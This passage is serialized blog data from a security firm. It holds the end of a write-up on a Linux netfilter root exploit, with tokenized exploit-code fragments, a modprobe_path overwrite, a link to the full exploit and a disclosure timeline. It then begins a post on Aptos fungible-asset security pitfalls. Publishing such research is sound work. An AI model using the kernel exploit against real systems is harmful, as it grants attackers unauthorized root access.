i",{"type":22,"tag":118,"props":62552,"children":62553},{"style":210},[62554],{"type":28,"value":53210},{"type":22,"tag":118,"props":62556,"children":62557},{"style":125},[62558],{"type":28,"value":3665},{"type":22,"tag":118,"props":62560,"children":62561},{"class":120,"line":1226},[62562],{"type":22,"tag":118,"props":62563,"children":62564},{"style":125},[62565],{"type":28,"value":33598},{"type":22,"tag":118,"props":62567,"children":62568},{"class":120,"line":1234},[62569,62573,62577,62582,62586,62591,62596,62600,62605,62609,62613,62618,62622,62626,62630],{"type":22,"tag":118,"props":62570,"children":62571},{"style":1480},[62572],{"type":28,"value":60742},{"type":22,"tag":118,"props":62574,"children":62575},{"style":125},[62576],{"type":28,"value":842},{"type":22,"tag":118,"props":62578,"children":62579},{"style":532},[62580],{"type":28,"value":62581},"read",{"type":22,"tag":118,"props":62583,"children":62584},{"style":125},[62585],{"type":28,"value":540},{"type":22,"tag":118,"props":62587,"children":62588},{"style":204},[62589],{"type":28,"value":62590},"sock",{"type":22,"tag":118,"props":62592,"children":62593},{"style":125},[62594],{"type":28,"value":62595},"[i][",{"type":22,"tag":118,"props":62597,"children":62598},{"style":674},[62599],{"type":28,"value":6026},{"type":22,"tag":118,"props":62601,"children":62602},{"style":125},[62603],{"type":28,"value":62604},"], leak, ",{"type":22,"tag":118,"props":62606,"children":62607},{"style":674},[62608],{"type":28,"value":60089},{"type":22,"tag":118,"props":62610,"children":62611},{"style":210},[62612],{"type":28,"value":53196},{"type":22,"tag":118,"props":62614,"children":62615},{"style":674},[62616],{"type":28,"value":62617}," 320",{"type":22,"tag":118,"props":62619,"children":62620},{"style":125},[62621],{"type":28,"value":588},{"type":22,"tag":118,"props":62623,"children":62624},{"style":210},[62625],{"type":28,"value":559},{"type":22,"tag":118,"props":62627,"children":62628},{"style":674},[62629],{"type":28,"value":5074},{"type":22,"tag":118,"props":62631,"children":62632},{"style":125},[62633],{"type":28,"value":3665},{"type":22,"tag":118,"props":62635,"children":62636},{"class":120,"line":1248},[62637],{"type":22,"tag":118,"props":62638,"children":62639},{"style":125},[62640],{"type":28,"value":33634},{"type":22,"tag":118,"props":62642,"children":62643},{"class":120,"line":1257},[62644,62649,62653,62658],{"type":22,"tag":118,"props":62645,"children":62646},{"style":532},[62647],{"type":28,"value":62648},"                perror",{"type":22,"tag":118,"props":62650,"children":62651},{"style":125},[62652],{"type":28,"value":540},{"type":22,"tag":118,"props":62654,"children":62655},{"style":1866},[62656],{"type":28,"value":62657},"\"[-] read(socket)\"",{"type":22,"tag":118,"props":62659,"children":62660},{"style":125},[62661],{"type":28,"value":682},{"type":22,"tag":118,"props":62663,"children":62664},{"class":120,"line":25765},[62665,62670,62674,62678],{"type":22,"tag":118,"props":62666,"children":62667},{"style":1480},[62668],{"type":28,"value":62669},"                return",{"type":22,"tag":118,"props":62671,"children":62672},{"style":210},[62673],{"type":28,"value":53196},{"type":22,"tag":118,"props":62675,"children":62676},{"style":674},[62677],{"type":28,"value":6026},{"type":22,"tag":118,"props":62679,"children":62680},{"style":125},[62681],{"type":28,"value":801},{"type":22,"tag":118,"props":62683,"children":62684},{"class":120,"line":25778},[62685],{"type":22,"tag":118,"props":62686,"children":62687},{"style":125},[62688],{"type":28,"value":1827},{"type":22,"tag":118,"props":62690,"children":62691},{"class":120,"line":25791},[62692],{"type":22,"tag":118,"props":62693,"children":62694},{"style":125},[62695],{"type":28,"value":1835},{"type":22,"tag":118,"props":62697,"children":62698},{"class":120,"line":25804},[62699],{"type":22,"tag":118,"props":62700,"children":62701},{"style":125},[62702],{"type":28,"value":1254},{"type":22,"tag":118,"props":62704,"children":62705},{"class":120,"line":25858},[62706,62710,62714,62719],{"type":22,"tag":118,"props":62707,"children":62708},{"style":532},[62709],{"type":28,"value":57447},{"type":22,"tag":118,"props":62711,"children":62712},{"style":125},[62713],{"type":28,"value":540},{"type":22,"tag":118,"props":62715,"children":62716},{"style":1866},[62717],{"type":28,"value":62718},"\"[-] fake modprobe failed\"",{"type":22,"tag":118,"props":62720,"children":62721},{"style":125},[62722],{"type":28,"value":682},{"type":22,"tag":118,"props":62724,"children":62725},{"class":120,"line":25867},[62726],{"type":22,"tag":118,"props":62727,"children":62728},{"style":125},[62729],{"type":28,"value":12317},{"type":22,"tag":31,"props":62731,"children":62732},{},[62733,62735,62742],{"type":28,"value":62734},"This trick has already been throughly detailed by ",{"type":22,"tag":42,"props":62736,"children":62739},{"href":62737,"rel":62738},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[46],[62740],{"type":28,"value":62741},"lau",{"type":28,"value":62743},", so we won't go much more into it.",{"type":22,"tag":1289,"props":62745,"children":62747},{"id":62746},"universal-exploit-demo",[62748],{"type":28,"value":62749},"Universal exploit demo",{"type":22,"tag":31,"props":62751,"children":62752},{},[62753,62755,62761],{"type":28,"value":62754},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":22,"tag":42,"props":62756,"children":62759},{"href":62757,"rel":62758},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[46],[62760],{"type":28,"value":59356},{"type":28,"value":292},{"type":22,"tag":23,"props":62763,"children":62765},{"id":62764},"disclosure-timeline",[62766],{"type":28,"value":62767},"Disclosure Timeline",{"type":22,"tag":64,"props":62769,"children":62770},{},[62771,62776,62781,62786,62791],{"type":22,"tag":68,"props":62772,"children":62773},{},[62774],{"type":28,"value":62775},"March 21st -- Patch made public",{"type":22,"tag":68,"props":62777,"children":62778},{},[62779],{"type":28,"value":62780},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":22,"tag":68,"props":62782,"children":62783},{},[62784],{"type":28,"value":62785},"March 24th -- Wrote KernelCTF exploit",{"type":22,"tag":68,"props":62787,"children":62788},{},[62789],{"type":28,"value":62790},"March 26th -- Wrote Universal exploit",{"type":22,"tag":68,"props":62792,"children":62793},{},[62794],{"type":28,"value":62795},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":22,"tag":31,"props":62797,"children":62798},{},[62799],{"type":28,"value":62800},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":22,"tag":23,"props":62802,"children":62803},{"id":30872},[62804],{"type":28,"value":20914},{"type":22,"tag":31,"props":62806,"children":62807},{},[62808],{"type":28,"value":62809},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":22,"tag":31,"props":62811,"children":62812},{},[62813],{"type":28,"value":62814},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":22,"tag":4880,"props":62816,"children":62817},{},[62818],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":62820},[62821,62824,62827,62830,62831,62841,62849,62850],{"id":52508,"depth":142,"text":52511,"children":62822},[62823],{"id":52529,"depth":177,"text":52532},{"id":52572,"depth":142,"text":52572,"children":62825},[62826],{"id":52619,"depth":177,"text":52622},{"id":52677,"depth":142,"text":52680,"children":62828},[62829],{"id":53840,"depth":177,"text":53843},{"id":55715,"depth":142,"text":55718},{"id":56117,"depth":142,"text":56120,"children":62832},[62833,62834,62835,62837,62838,62839,62840],{"id":56144,"depth":177,"text":56147},{"id":57026,"depth":177,"text":57029},{"id":57611,"depth":177,"text":62836},"Leaking self pointer of nft_object",{"id":58009,"depth":177,"text":58012},{"id":58523,"depth":177,"text":58526},{"id":58653,"depth":177,"text":58310},{"id":59337,"depth":177,"text":59340},{"id":59360,"depth":142,"text":59363,"children":62842},[62843,62844,62845,62846,62848],{"id":59371,"depth":177,"text":59374},{"id":60229,"depth":177,"text":60232},{"id":60305,"depth":177,"text":60308},{"id":61929,"depth":177,"text":62847},"Overwriting modprobe_path",{"id":62746,"depth":177,"text":62749},{"id":62764,"depth":142,"text":62767},{"id":30872,"depth":142,"text":20914},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62855,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62856,"description":62857,"image":62858,"date":62860,"isFeatured":15,"onBlogPage":15,"tags":62861,"body":62862,"_type":4896,"_id":69578,"_source":4898,"_file":69579,"_stem":69580,"_extension":4901},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62859,"width":7396,"height":7397},"/posts/aptos-guide/title.png","2025-02-10",[7889],{"type":19,"children":62863,"toc":69562},[62864,62877,62882,62891,62897,62925,62998,63038,63072,63233,63252,63333,63373,63401,63418,63423,63431,63436,63442,63463,63543,63576,63584,63597,63602,63986,63991,63996,64002,64007,64019,64123,64161,64164,64182,64490,64495,64507,64513,64539,64560,64565,64744,64764,64770,64790,64802,64807,64813,64825,64888,64915,64939,65160,65163,65182,65292,65349,65485,65512,65518,65544,65788,65816,66118,66151,66165,66191,66224,66530,66542,66819,66833,67150,67169,67175,67207,67247,67348,67368,67488,67505,67579,67591,67679,67700,67706,67711,67716,67733,67754,68125,68184,68189,68640,68645,68681,68687,68699,68721,68747,68954,68968,69222,69234,69261,69412,69431,69461,69465,69476,69481,69494,69558],{"type":22,"tag":31,"props":62865,"children":62866},{},[62867,62869,62875],{"type":28,"value":62868},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":22,"tag":114,"props":62870,"children":62872},{"className":62871},[],[62873],{"type":28,"value":62874},"coin",{"type":28,"value":62876}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":22,"tag":31,"props":62878,"children":62879},{},[62880],{"type":28,"value":62881},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":22,"tag":62883,"props":62884,"children":62885},"important",{},[62886],{"type":22,"tag":31,"props":62887,"children":62888},{},[62889],{"type":28,"value":62890},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":22,"tag":23,"props":62892,"children":62894},{"id":62893},"aptos-coin-standard",[62895],{"type":28,"value":62896},"Aptos Coin standard",{"type":22,"tag":31,"props":62898,"children":62899},{},[62900,62902,62908,62910,62915,62916,62923],{"type":28,"value":62901},"In the beginning, Aptos used ",{"type":22,"tag":114,"props":62903,"children":62905},{"className":62904},[],[62906],{"type":28,"value":62907},"Coin",{"type":28,"value":62909},". It is still in use, although it is now considered \"legacy\". ",{"type":22,"tag":114,"props":62911,"children":62913},{"className":62912},[],[62914],{"type":28,"value":62907},{"type":28,"value":7511},{"type":22,"tag":42,"props":62917,"children":62920},{"href":62918,"rel":62919},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[46],[62921],{"type":28,"value":62922},"defined",{"type":28,"value":62924}," in Aptos as follows:",{"type":22,"tag":107,"props":62926,"children":62928},{"className":109,"code":62927,"language":111,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[62929],{"type":22,"tag":114,"props":62930,"children":62931},{"__ignoreMap":7},[62932,62971,62991],{"type":22,"tag":118,"props":62933,"children":62934},{"class":120,"line":121},[62935,62939,62943,62947,62951,62955,62959,62963,62967],{"type":22,"tag":118,"props":62936,"children":62937},{"style":146},[62938],{"type":28,"value":11399},{"type":22,"tag":118,"props":62940,"children":62941},{"style":131},[62942],{"type":28,"value":7812},{"type":22,"tag":118,"props":62944,"children":62945},{"style":125},[62946],{"type":28,"value":559},{"type":22,"tag":118,"props":62948,"children":62949},{"style":204},[62950],{"type":28,"value":7821},{"type":22,"tag":118,"props":62952,"children":62953},{"style":131},[62954],{"type":28,"value":7826},{"type":22,"tag":118,"props":62956,"children":62957},{"style":125},[62958],{"type":28,"value":7831},{"type":22,"tag":118,"props":62960,"children":62961},{"style":204},[62962],{"type":28,"value":7836},{"type":22,"tag":118,"props":62964,"children":62965},{"style":204},[62966],{"type":28,"value":7841},{"type":22,"tag":118,"props":62968,"children":62969},{"style":125},[62970],{"type":28,"value":1474},{"type":22,"tag":118,"props":62972,"children":62973},{"class":120,"line":142},[62974,62979,62983,62987],{"type":22,"tag":118,"props":62975,"children":62976},{"style":204},[62977],{"type":28,"value":62978},"    value",{"type":22,"tag":118,"props":62980,"children":62981},{"style":210},[62982],{"type":28,"value":213},{"type":22,"tag":118,"props":62984,"children":62985},{"style":131},[62986],{"type":28,"value":583},{"type":22,"tag":118,"props":62988,"children":62989},{"style":125},[62990],{"type":28,"value":782},{"type":22,"tag":118,"props":62992,"children":62993},{"class":120,"line":177},[62994],{"type":22,"tag":118,"props":62995,"children":62996},{"style":125},[62997],{"type":28,"value":481},{"type":22,"tag":31,"props":62999,"children":63000},{},[63001,63003,63008,63010,63016,63017,63023,63025,63030,63032,63037],{"type":28,"value":63002},"Aptos distinguishes coins by their type (",{"type":22,"tag":114,"props":63004,"children":63006},{"className":63005},[],[63007],{"type":28,"value":8593},{"type":28,"value":63009},") at compile time. For example, ",{"type":22,"tag":114,"props":63011,"children":63013},{"className":63012},[],[63014],{"type":28,"value":63015},"Coin\u003COtter>",{"type":28,"value":12991},{"type":22,"tag":114,"props":63018,"children":63020},{"className":63019},[],[63021],{"type":28,"value":63022},"Coin\u003CWeasel>",{"type":28,"value":63024}," represent different coins, and you cannot pass a ",{"type":22,"tag":114,"props":63026,"children":63028},{"className":63027},[],[63029],{"type":28,"value":63022},{"type":28,"value":63031}," to a function expecting ",{"type":22,"tag":114,"props":63033,"children":63035},{"className":63034},[],[63036],{"type":28,"value":63015},{"type":28,"value":292},{"type":22,"tag":31,"props":63039,"children":63040},{},[63041,63043,63048,63050,63055,63057,63062,63064,63070],{"type":28,"value":63042},"The type signature reveals why ",{"type":22,"tag":114,"props":63044,"children":63046},{"className":63045},[],[63047],{"type":28,"value":62907},{"type":28,"value":63049}," has become a legacy standard. ",{"type":22,"tag":114,"props":63051,"children":63053},{"className":63052},[],[63054],{"type":28,"value":62907},{"type":28,"value":63056}," has only the ",{"type":22,"tag":114,"props":63058,"children":63060},{"className":63059},[],[63061],{"type":28,"value":7950},{"type":28,"value":63063}," ability and uses a ",{"type":22,"tag":114,"props":63065,"children":63067},{"className":63066},[],[63068],{"type":28,"value":63069},"CoinStore",{"type":28,"value":63071}," wrapper to store the coin and metadata:",{"type":22,"tag":107,"props":63073,"children":63075},{"className":109,"code":63074,"language":111,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[63076],{"type":22,"tag":114,"props":63077,"children":63078},{"__ignoreMap":7},[63079,63119,63147,63167,63197,63226],{"type":22,"tag":118,"props":63080,"children":63081},{"class":120,"line":121},[63082,63086,63091,63095,63099,63103,63107,63111,63115],{"type":22,"tag":118,"props":63083,"children":63084},{"style":146},[63085],{"type":28,"value":11399},{"type":22,"tag":118,"props":63087,"children":63088},{"style":131},[63089],{"type":28,"value":63090}," CoinStore",{"type":22,"tag":118,"props":63092,"children":63093},{"style":125},[63094],{"type":28,"value":559},{"type":22,"tag":118,"props":63096,"children":63097},{"style":204},[63098],{"type":28,"value":7821},{"type":22,"tag":118,"props":63100,"children":63101},{"style":131},[63102],{"type":28,"value":7826},{"type":22,"tag":118,"props":63104,"children":63105},{"style":125},[63106],{"type":28,"value":7831},{"type":22,"tag":118,"props":63108,"children":63109},{"style":204},[63110],{"type":28,"value":7836},{"type":22,"tag":118,"props":63112,"children":63113},{"style":204},[63114],{"type":28,"value":7941},{"type":22,"tag":118,"props":63116,"children":63117},{"style":125},[63118],{"type":28,"value":1474},{"type":22,"tag":118,"props":63120,"children":63121},{"class":120,"line":142},[63122,63127,63131,63135,63139,63143],{"type":22,"tag":118,"props":63123,"children":63124},{"style":204},[63125],{"type":28,"value":63126},"    coin",{"type":22,"tag":118,"props":63128,"children":63129},{"style":210},[63130],{"type":28,"value":213},{"type":22,"tag":118,"props":63132,"children":63133},{"style":131},[63134],{"type":28,"value":7812},{"type":22,"tag":118,"props":63136,"children":63137},{"style":125},[63138],{"type":28,"value":559},{"type":22,"tag":118,"props":63140,"children":63141},{"style":131},[63142],{"type":28,"value":8593},{"type":22,"tag":118,"props":63144,"children":63145},{"style":125},[63146],{"type":28,"value":241},{"type":22,"tag":118,"props":63148,"children":63149},{"class":120,"line":177},[63150,63155,63159,63163],{"type":22,"tag":118,"props":63151,"children":63152},{"style":204},[63153],{"type":28,"value":63154},"    frozen",{"type":22,"tag":118,"props":63156,"children":63157},{"style":210},[63158],{"type":28,"value":213},{"type":22,"tag":118,"props":63160,"children":63161},{"style":131},[63162],{"type":28,"value":1469},{"type":22,"tag":118,"props":63164,"children":63165},{"style":125},[63166],{"type":28,"value":782},{"type":22,"tag":118,"props":63168,"children":63169},{"class":120,"line":195},[63170,63175,63179,63184,63188,63193],{"type":22,"tag":118,"props":63171,"children":63172},{"style":204},[63173],{"type":28,"value":63174},"    deposit_events",{"type":22,"tag":118,"props":63176,"children":63177},{"style":210},[63178],{"type":28,"value":213},{"type":22,"tag":118,"props":63180,"children":63181},{"style":131},[63182],{"type":28,"value":63183}," EventHandle",{"type":22,"tag":118,"props":63185,"children":63186},{"style":125},[63187],{"type":28,"value":559},{"type":22,"tag":118,"props":63189,"children":63190},{"style":131},[63191],{"type":28,"value":63192},"DepositEvent",{"type":22,"tag":118,"props":63194,"children":63195},{"style":125},[63196],{"type":28,"value":241},{"type":22,"tag":118,"props":63198,"children":63199},{"class":120,"line":244},[63200,63205,63209,63213,63217,63222],{"type":22,"tag":118,"props":63201,"children":63202},{"style":204},[63203],{"type":28,"value":63204},"    withdraw_events",{"type":22,"tag":118,"props":63206,"children":63207},{"style":210},[63208],{"type":28,"value":213},{"type":22,"tag":118,"props":63210,"children":63211},{"style":131},[63212],{"type":28,"value":63183},{"type":22,"tag":118,"props":63214,"children":63215},{"style":125},[63216],{"type":28,"value":559},{"type":22,"tag":118,"props":63218,"children":63219},{"style":131},[63220],{"type":28,"value":63221},"WithdrawEvent",{"type":22,"tag":118,"props":63223,"children":63224},{"style":125},[63225],{"type":28,"value":241},{"type":22,"tag":118,"props":63227,"children":63228},{"class":120,"line":253},[63229],{"type":22,"tag":118,"props":63230,"children":63231},{"style":125},[63232],{"type":28,"value":481},{"type":22,"tag":31,"props":63234,"children":63235},{},[63236,63238,63243,63245,63250],{"type":28,"value":63237},"However, an astute reader would note that this isn't the only place a ",{"type":22,"tag":114,"props":63239,"children":63241},{"className":63240},[],[63242],{"type":28,"value":62907},{"type":28,"value":63244}," can be stored. You can create your own ",{"type":22,"tag":114,"props":63246,"children":63248},{"className":63247},[],[63249],{"type":28,"value":62907},{"type":28,"value":63251}," wallet, which could look like this:",{"type":22,"tag":107,"props":63253,"children":63255},{"className":109,"code":63254,"language":111,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[63256],{"type":22,"tag":114,"props":63257,"children":63258},{"__ignoreMap":7},[63259,63299,63326],{"type":22,"tag":118,"props":63260,"children":63261},{"class":120,"line":121},[63262,63266,63271,63275,63279,63283,63287,63291,63295],{"type":22,"tag":118,"props":63263,"children":63264},{"style":146},[63265],{"type":28,"value":11399},{"type":22,"tag":118,"props":63267,"children":63268},{"style":131},[63269],{"type":28,"value":63270}," DefinitelyLegitCoinStore",{"type":22,"tag":118,"props":63272,"children":63273},{"style":125},[63274],{"type":28,"value":559},{"type":22,"tag":118,"props":63276,"children":63277},{"style":204},[63278],{"type":28,"value":7821},{"type":22,"tag":118,"props":63280,"children":63281},{"style":131},[63282],{"type":28,"value":7826},{"type":22,"tag":118,"props":63284,"children":63285},{"style":125},[63286],{"type":28,"value":7831},{"type":22,"tag":118,"props":63288,"children":63289},{"style":204},[63290],{"type":28,"value":7836},{"type":22,"tag":118,"props":63292,"children":63293},{"style":204},[63294],{"type":28,"value":7941},{"type":22,"tag":118,"props":63296,"children":63297},{"style":125},[63298],{"type":28,"value":1474},{"type":22,"tag":118,"props":63300,"children":63301},{"class":120,"line":142},[63302,63306,63310,63314,63318,63322],{"type":22,"tag":118,"props":63303,"children":63304},{"style":204},[63305],{"type":28,"value":63126},{"type":22,"tag":118,"props":63307,"children":63308},{"style":210},[63309],{"type":28,"value":213},{"type":22,"tag":118,"props":63311,"children":63312},{"style":131},[63313],{"type":28,"value":7812},{"type":22,"tag":118,"props":63315,"children":63316},{"style":125},[63317],{"type":28,"value":559},{"type":22,"tag":118,"props":63319,"children":63320},{"style":131},[63321],{"type":28,"value":8593},{"type":22,"tag":118,"props":63323,"children":63324},{"style":125},[63325],{"type":28,"value":8002},{"type":22,"tag":118,"props":63327,"children":63328},{"class":120,"line":177},[63329],{"type":22,"tag":118,"props":63330,"children":63331},{"style":125},[63332],{"type":28,"value":481},{"type":22,"tag":31,"props":63334,"children":63335},{},[63336,63341,63343,63349,63351,63356,63358,63364,63366,63371],{"type":22,"tag":114,"props":63337,"children":63339},{"className":63338},[],[63340],{"type":28,"value":63069},{"type":28,"value":63342}," includes a ",{"type":22,"tag":114,"props":63344,"children":63346},{"className":63345},[],[63347],{"type":28,"value":63348},"frozen",{"type":28,"value":63350}," field, allowing the issuer to block transfers to and from the store. ",{"type":22,"tag":114,"props":63352,"children":63354},{"className":63353},[],[63355],{"type":28,"value":63069},{"type":28,"value":63357}," is also required for a ",{"type":22,"tag":114,"props":63359,"children":63361},{"className":63360},[],[63362],{"type":28,"value":63363},"burn_from",{"type":28,"value":63365}," operation, which withdraws the ",{"type":22,"tag":114,"props":63367,"children":63369},{"className":63368},[],[63370],{"type":28,"value":62874},{"type":28,"value":63372}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":22,"tag":31,"props":63374,"children":63375},{},[63376,63378,63383,63385,63392,63394,63399],{"type":28,"value":63377},"Storing ",{"type":22,"tag":114,"props":63379,"children":63381},{"className":63380},[],[63382],{"type":28,"value":62874},{"type":28,"value":63384}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":22,"tag":42,"props":63386,"children":63389},{"href":63387,"rel":63388},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[46],[63390],{"type":28,"value":63391},"AIP-21",{"type":28,"value":63393}," summarizes the ",{"type":22,"tag":114,"props":63395,"children":63397},{"className":63396},[],[63398],{"type":28,"value":62874},{"type":28,"value":63400}," problems:",{"type":22,"tag":1269,"props":63402,"children":63403},{},[63404,63413],{"type":22,"tag":31,"props":63405,"children":63406},{},[63407,63411],{"type":22,"tag":118,"props":63408,"children":63409},{},[63410],{"type":28,"value":11589},{"type":28,"value":63412}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":22,"tag":31,"props":63414,"children":63415},{},[63416],{"type":28,"value":63417},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":22,"tag":31,"props":63419,"children":63420},{},[63421],{"type":28,"value":63422},"And declares, that:",{"type":22,"tag":1269,"props":63424,"children":63425},{},[63426],{"type":22,"tag":31,"props":63427,"children":63428},{},[63429],{"type":28,"value":63430},"Fungible assets addresses these issues.",{"type":22,"tag":31,"props":63432,"children":63433},{},[63434],{"type":28,"value":63435},"Let's find out whether this is indeed the case.",{"type":22,"tag":23,"props":63437,"children":63439},{"id":63438},"the-fungible-assets",[63440],{"type":28,"value":63441},"The fungible assets",{"type":22,"tag":31,"props":63443,"children":63444},{},[63445,63447,63453,63455,63462],{"type":28,"value":63446},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":22,"tag":114,"props":63448,"children":63450},{"className":63449},[],[63451],{"type":28,"value":63452},"FungibleAsset",{"type":28,"value":63454}," uses the ",{"type":22,"tag":42,"props":63456,"children":63459},{"href":63457,"rel":63458},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[46],[63460],{"type":28,"value":63461},"hot-potato pattern",{"type":28,"value":213},{"type":22,"tag":107,"props":63464,"children":63466},{"className":109,"code":63465,"language":111,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[63467],{"type":22,"tag":114,"props":63468,"children":63469},{"__ignoreMap":7},[63470,63486,63516,63536],{"type":22,"tag":118,"props":63471,"children":63472},{"class":120,"line":121},[63473,63477,63482],{"type":22,"tag":118,"props":63474,"children":63475},{"style":146},[63476],{"type":28,"value":11399},{"type":22,"tag":118,"props":63478,"children":63479},{"style":131},[63480],{"type":28,"value":63481}," FungibleAsset",{"type":22,"tag":118,"props":63483,"children":63484},{"style":125},[63485],{"type":28,"value":1474},{"type":22,"tag":118,"props":63487,"children":63488},{"class":120,"line":142},[63489,63494,63498,63503,63507,63512],{"type":22,"tag":118,"props":63490,"children":63491},{"style":204},[63492],{"type":28,"value":63493},"    metadata",{"type":22,"tag":118,"props":63495,"children":63496},{"style":210},[63497],{"type":28,"value":213},{"type":22,"tag":118,"props":63499,"children":63500},{"style":131},[63501],{"type":28,"value":63502}," Object",{"type":22,"tag":118,"props":63504,"children":63505},{"style":125},[63506],{"type":28,"value":559},{"type":22,"tag":118,"props":63508,"children":63509},{"style":131},[63510],{"type":28,"value":63511},"Metadata",{"type":22,"tag":118,"props":63513,"children":63514},{"style":125},[63515],{"type":28,"value":241},{"type":22,"tag":118,"props":63517,"children":63518},{"class":120,"line":177},[63519,63524,63528,63532],{"type":22,"tag":118,"props":63520,"children":63521},{"style":204},[63522],{"type":28,"value":63523},"    amount",{"type":22,"tag":118,"props":63525,"children":63526},{"style":210},[63527],{"type":28,"value":213},{"type":22,"tag":118,"props":63529,"children":63530},{"style":131},[63531],{"type":28,"value":583},{"type":22,"tag":118,"props":63533,"children":63534},{"style":125},[63535],{"type":28,"value":782},{"type":22,"tag":118,"props":63537,"children":63538},{"class":120,"line":195},[63539],{"type":22,"tag":118,"props":63540,"children":63541},{"style":125},[63542],{"type":28,"value":481},{"type":22,"tag":31,"props":63544,"children":63545},{},[63546,63548,63553,63554,63559,63561,63566,63568,63575],{"type":28,"value":63547},"Unlike ",{"type":22,"tag":114,"props":63549,"children":63551},{"className":63550},[],[63552],{"type":28,"value":62907},{"type":28,"value":231},{"type":22,"tag":114,"props":63555,"children":63557},{"className":63556},[],[63558],{"type":28,"value":63452},{"type":28,"value":63560}," types are defined at runtime through the ",{"type":22,"tag":114,"props":63562,"children":63564},{"className":63563},[],[63565],{"type":28,"value":63511},{"type":28,"value":63567}," field. This change was meant to ",{"type":22,"tag":42,"props":63569,"children":63572},{"href":63570,"rel":63571},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[46],[63573],{"type":28,"value":63574},"enhance extensibility",{"type":28,"value":213},{"type":22,"tag":1269,"props":63577,"children":63578},{},[63579],{"type":22,"tag":31,"props":63580,"children":63581},{},[63582],{"type":28,"value":63583},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":22,"tag":31,"props":63585,"children":63586},{},[63587,63589,63595],{"type":28,"value":63588},"An important implication is that functions accepting ",{"type":22,"tag":114,"props":63590,"children":63592},{"className":63591},[],[63593],{"type":28,"value":63594},"FungibleAssets",{"type":28,"value":63596}," must verify the metadata to ensure valid assets.",{"type":22,"tag":31,"props":63598,"children":63599},{},[63600],{"type":28,"value":63601},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":22,"tag":107,"props":63603,"children":63605},{"className":109,"code":63604,"language":111,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[63606],{"type":22,"tag":114,"props":63607,"children":63608},{"__ignoreMap":7},[63609,63646,63684,63708,63720,63728,63773,63807,63837,63844,63881,63888,63926,63933,63979],{"type":22,"tag":118,"props":63610,"children":63611},{"class":120,"line":121},[63612,63617,63621,63626,63630,63634,63638,63642],{"type":22,"tag":118,"props":63613,"children":63614},{"style":204},[63615],{"type":28,"value":63616},"public",{"type":22,"tag":118,"props":63618,"children":63619},{"style":204},[63620],{"type":28,"value":8216},{"type":22,"tag":118,"props":63622,"children":63623},{"style":204},[63624],{"type":28,"value":63625}," 